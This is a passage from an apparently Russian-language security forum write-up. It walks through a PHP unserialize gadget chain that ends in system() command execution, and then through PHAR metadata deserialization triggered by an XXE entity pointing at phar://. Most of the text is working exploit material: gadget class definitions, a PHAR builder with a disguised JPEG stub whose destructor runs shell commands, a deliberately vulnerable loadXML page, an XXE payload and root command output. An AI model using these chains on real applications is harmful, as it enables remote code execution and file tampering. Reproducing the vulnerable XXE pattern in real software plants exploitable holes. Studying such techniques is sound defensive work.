$this->value = $parameter;
}
}
}
namespace
{
class WikiPublishTask
{
private $cookiesFile;
function __construct($function, $parameter)
{
$this->cookiesFile = new \Prophecy\Argument\Token\ExactValueToken(
$function, $parameter
);
}
}
class PHPUnit_Extensions_Selenium2TestCase_Session
{
protected $commands;
protected $url;
protected $driver;
function __construct($function)
{
$this->commands = ['stringify' => $function];
$this->url = new PHPUnit_Extensions_Selenium2TestCase_URL();
$this->driver = new DocBlox_Parallel_Worker();
}
}
class PHPUnit_Extensions_Selenium2TestCase_URL
{
}
class DocBlox_Parallel_Worker
{
}
}
WikiPublishTask создаёт cookiesFile. Чтобы создать его, используется ExactValueToken, который, в свою очередь, задействует PHPUnit_Extensions_Selenium2TestCase_Session, а там функция (например, system) передаётся как значение для stringify. Кроме того, PHPUnit_Extensions_Selenium2TestCase_Session использует PHPUnit_Extensions_Selenium2TestCase_URL и DocBlox_Parallel_Worker.
PHPUnit_Extensions_Selenium2TestCase_Session
Начнём с PHPUnit_Extensions_Selenium2TestCase_Session, так как он это основа всего этого.Код: Скопировать в буфер обмена
Код:
class PHPUnit_Extensions_Selenium2TestCase_Session
extends PHPUnit_Extensions_Selenium2TestCase_Element_Accessor
Код: Скопировать в буфер обмена
Код:
abstract class PHPUnit_Extensions_Selenium2TestCase_Element_Accessor
extends PHPUnit_Extensions_Selenium2TestCase_CommandsHolder
Внутри CommandsHolder есть такое:
Код: Скопировать в буфер обмена
Код:
public function __call($commandName, $arguments)
{
$jsonParameters = $this->extractJsonParameters($arguments);
$response = $this->driver->execute($this->newCommand($commandName, $jsonParameters));
return $response->getValue();
}
...
protected function newCommand($commandName, $jsonParameters)
{
if (isset($this->commands[$commandName])) {
$factoryMethod = $this->commands[$commandName];
$url = $this->url->addCommand($commandName);
$command = $factoryMethod($jsonParameters, $url);
return $command;
}
throw new BadMethodCallException("The command '$commandName' is not existent or not supported yet.");
}
$this->driver — это объект, который отвечает за выполнение команд. Он получает созданную команду и выполняет её через метод execute. То есть драйвер — это "исполнитель".
newCommand вызывает \$factoryMethod($jsonParameters, $url); — фактически system('id', $url) или аналог, в зависимости от того, что мы передадим.
DocBlox_Parallel_Worker
Код: Скопировать в буфер обмена
Код:
class DocBlox_Parallel_Worker
....
public function execute()
{
$this->setReturnCode(0);
try {
$this->setResult(
call_user_func_array($this->getTask(), $this->getArguments())
);
} catch (Exception $e) {
$this->setError($e->getMessage());
$this->setReturnCode($e->getCode());
}
}
В конце когда посмотрим всё вместе я объясню причину, но вообще то функция execute делает буквально ничего для нас и если в гаджете заменить DocBlox_Parallel_Worker на S3GetTask ничего не поменяется.
Изображение [4]
PHPUnit_Extensions_Selenium2TestCase_URL
PHPUnit_Extensions_Selenium2TestCase_URL возвращает команду просто в форме ссылки:Код: Скопировать в буфер обмена
Код:
public function descend($addition)
{
if ($addition == '') {
// if we're adding nothing, respect the current url's choice of
// whether or not to include a trailing slash; prevents inadvertent
// adding of slashes to urls that can't handle it
$newValue = $this->value;
} else {
$newValue = rtrim($this->value, '/')
. '/'
. ltrim($addition, '/');
}
return new self($newValue);
}
ExactValueToken
Внутри ExactValueToken есть __toString(), который вызывает \$this->util->stringify($this->value):Код: Скопировать в буфер обмена
Код:
public function __toString()
{
if (null === $this->string) {
$this->string = sprintf('exact(%s)', $this->util->stringify($this->value));
}
return $this->string;
}
Код: Скопировать в буфер обмена
$this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function);
WikiPublishTask
Наконец то мы дошли до __destruct. Часть с check я сам добавил чтобы увидеть то, чем является cookiesFile:Код: Скопировать в буфер обмена
Код:
public function __destruct()
{
$check = [
'type' => gettype($this->cookiesFile),
'value' => print_r($this->cookiesFile, true)
];
var_dump($check);
if (null !== $this->curl && is_resource($this->curl)) {
curl_close($this->curl);
}
if (null !== $this->cookiesFile && file_exists($this->cookiesFile)) {
unlink($this->cookiesFile);
}
}
Изображение [5]
Код: Скопировать в буфер обмена
if (null !== $this->cookiesFile && file_exists($this->cookiesFile))
file_exists вызовет __toString на объекте cookiesFile. Так как cookiesFile — это объект ExactValueToken, а там __toString вызывает stringify, которой нет, и мы уходим в __call, который, в итоге, запускает команду.
А что за stringify?
Я уже писал что в Session нет stringify, из-за чего вызывается __call.Почему именно PHPUnit_Extensions_Selenium2TestCase_Session?
Session нам нужен так как он вызовет __call внутри которого CommandsHolder.
Почему именно ExactValueToken?
Потому что там есть __toString который вызывает функцию которая не существует из-за чего начинает работать __call. Можнo ExactValueToken заменить на IdenticalValueToken, будет буквально одно и то же, так как там функция делает одно и то же:
Код: Скопировать в буфер обмена
Код:
public function __toString()
{
if (null === $this->string) {
$this->string = sprintf('identical(%s)', $this->util->stringify($this->value));
}
return $this->string;
}
Я это пишу потому что я просмотрел все toString и только в 3ёх методах вызывает функцию в которую мы можем ПЕРЕДАТь класс PHPUnit_Extensions_Selenium2TestCase_Session.
Вот сама функция stringify:
Код: Скопировать в буфер обмена
Код:
public function stringify($value, $exportObject = true)
{
if (is_array($value)) {
if (range(0, count($value) - 1) === array_keys($value)) {
return '['.implode(', ', array_map(array($this, __FUNCTION__), $value)).']';
}
$stringify = array($this, __FUNCTION__);
return '['.implode(', ', array_map(function ($item, $key) use ($stringify) {
return (is_integer($key) ? $key : '"'.$key.'"').
' => '.call_user_func($stringify, $item);
}, $value, array_keys($value))).']';
}
if (is_resource($value)) {
return get_resource_type($value).':'.$value;
}
if (is_object($value)) {
return $exportObject ? ExportUtil::export($value) : sprintf('%s:%s', get_class($value), spl_object_hash($value));
}
if (true === $value || false === $value) {
return $value ? 'true' : 'false';
}
if (is_string($value)) {
$str = sprintf('"%s"', str_replace("\n", '\\n', $value));
if (50 <= strlen($str)) {
return substr($str, 0, 50).'"...';
}
return $str;
}
if (null === $value) {
return 'null';
}
return (string) $value;
}
Всё вместе
Значит выходит так что __destruct(WikiPublishTask) ->__toString (ExactValueToken) -> __call (CommandsHolder) -> newCommand (CommandsHolder). Тут вообще интересная темкаКод: Скопировать в буфер обмена
Код:
public function __call($commandName, $arguments)
$response = $this->driver->execute($this->newCommand($commandName, $jsonParameters));
Код: Скопировать в буфер обмена
$this->newCommand($commandName, $jsonParameters)
$url у нас '/stringify'.
Код: Скопировать в буфер обмена
Код:
php > $url = '/stringify';
php > system('id',$url);
uid=0(root) gid=0(root) groups=0(root)
php > print($url);
0
$url важен только из-за того что он используется в newCommand:
Код: Скопировать в буфер обмена
$url = $this->url->addCommand($commandName);
Тут url это класс, как и записано внутри гаджета
Код: Скопировать в буфер обмена
$this->url = new PHPUnit_Extensions_Selenium2TestCase_URL();
Другого класса с функцией addCommand нет. Также если там вместо класса напрямую принял бы url, то можно было бы написать что угодно и это сработало бы.
Я отредактировал гаджет, чтобы убедиться в том что вышенаписанное работает:
Код: Скопировать в буфер обмена
Код:
<?php
namespace Prophecy\Argument\Token
{
class ObjectStateToken
{
private $util;
private $value;
function __construct($function, $parameter)
{
$this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function);
$this->value = $parameter;
}
}
}
namespace
{
class WikiPublishTask
{
private $cookiesFile;
function __construct($function, $parameter)
{
$this->cookiesFile = new \Prophecy\Argument\Token\ObjectStateToken(
$function, $parameter
);
}
}
class PHPUnit_Extensions_Selenium2TestCase_Session
{
protected $commands;
protected $url;
protected $driver;
function __construct($function)
{
$this->commands = ['stringify' => $function];
$this->url = new PHPUnit_Extensions_Selenium2TestCase_URL();
$this->driver = new S3GetTask();
}
}
class PHPUnit_Extensions_Selenium2TestCase_URL
{
}
class S3GetTask
{
}
}
Фары кароч
Мы разберём PHAR десериализацию в контексте XXEТо что ниже, основано на одном приложении который я увидел. К сожалению просматривал его не на своём компе, так что не помню уже именно как там работала сериализация. Но был там loadXML , это точно.
Вот код который сгенерировал GPT с одной и той же логикой ХХЕ, логика сериализации отличается.
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
public $filename;
public $content;
public function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$xmlInput = $_POST['xml'];
// Load XML input (VULNERABLE TO XXE)
$dom = new DOMDocument();
$dom->loadXML($xmlInput, LIBXML_NOENT | LIBXML_DTDLOAD);
// Parse and display the data (for demonstration)
$root = $dom->documentElement;
echo "<h3>Parsed XML Data:</h3>";
echo "<pre>" . htmlspecialchars($dom->saveXML()) . "</pre>";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Vulnerable XXE Example</title>
</head>
<body>
<h1>Submit XML Data</h1>
<form method="POST">
<textarea name="xml" rows="10" cols="50"></textarea><br>
<button type="submit">Submit</button>
</form>
</body>
</html>
Изображение [6]
Код: Скопировать в буфер обмена
Код:
<?php
class User {
public $username;
public $email;
public function __construct($username, $email) {
$this->username = $username;
$this->email = $email;
print('My name is ' . $username . "\n");
}
}
$user = new User('alice', 'alice@example.com');
$serialize = serialize($user);
echo $serialize;
echo "\n";
?>
Код: Скопировать в буфер обмена
Код:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Код: Скопировать в буфер обмена
Код:
<?php
class Dangerous {
public $filename;
public $content;
public function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new Dangerous();
$object ->filename = '/tmp/kupalinka.txt';
$object ->content = ' cyomnaya nochka...';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
Код: Скопировать в буфер обмена
Код:
php test.php
(создался test.phar, удаляем /tmp/kupalinka.txt)
ls /tmp
(убедитесь что там нет kupalinka)
Изображение [7]
Код:
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "phar:///var/www/html/test.phar"> ]>
<data>&example;</data>
================================================
ls /tmp
kupalinka.txt
PHAR (PHP Archive) — это формат архивов, используемый для объединения нескольких PHP-файлов в один исполняемый файл. Класс Phar — это встроенный в PHP механизм, который позволяет упаковывать несколько файлов в один архив с возможностью его последующего запуска.
Если обратиться к официальной документации по Phar, можно увидеть описание внутренней структуры Phar-файла.
startBuffering сообщает объекту Phar, что мы начинаем вносить изменения в буфер. Пока буфер открыт, мы можем добавлять файлы, устанавливать метаданные и т.д. Никакие изменения не будут окончательно зафиксированы, пока мы не вызовем stopBuffering(). addFromString добавляет в Phar-файл новый файл с именем test.txt и содержимым 'text'. Это просто значит, что внутри test.phar теперь будет храниться текстовый файл test.txt с содержимым text.
setStub задаёт так называемый stub — специальный блок кода, который будет исполнен, когда Phar-файл будет запущен как PHP-скрипт. Когда позже вы будете использовать (запускать) этот test.phar, PHP сначала исполнит stub (до __HALT_COMPILER() ), а затем будет способен читать бинарную часть архива, включая метаданные.
Вызов setMetadata() устанавливает метаданные для Phar. В метаданные можно записать практически любые сериализуемые данные, включая объекты.
В итоге метаданные Phar-файла test.phar будут содержать сериализованную версию нашего объекта класса Dangerous.
Куда пропал test.txt?
Файл test.txt не «пропал» — он просто больше не существует отдельно в файловой системе, а теперь является частью созданного нами Phar-архива.
Почему происходит десериализация?
Если функция файловой системы вызывается с потоком phar в качестве аргумента, сериализованные метаданные Phar автоматически десериализуются.
Вообще то, если проверить ресурсы в интернете, вы эту технику увидете с LFI, а не с XXE. Просто дело в том что, тут тема полностью в врапперах, а не в самой уязвимости.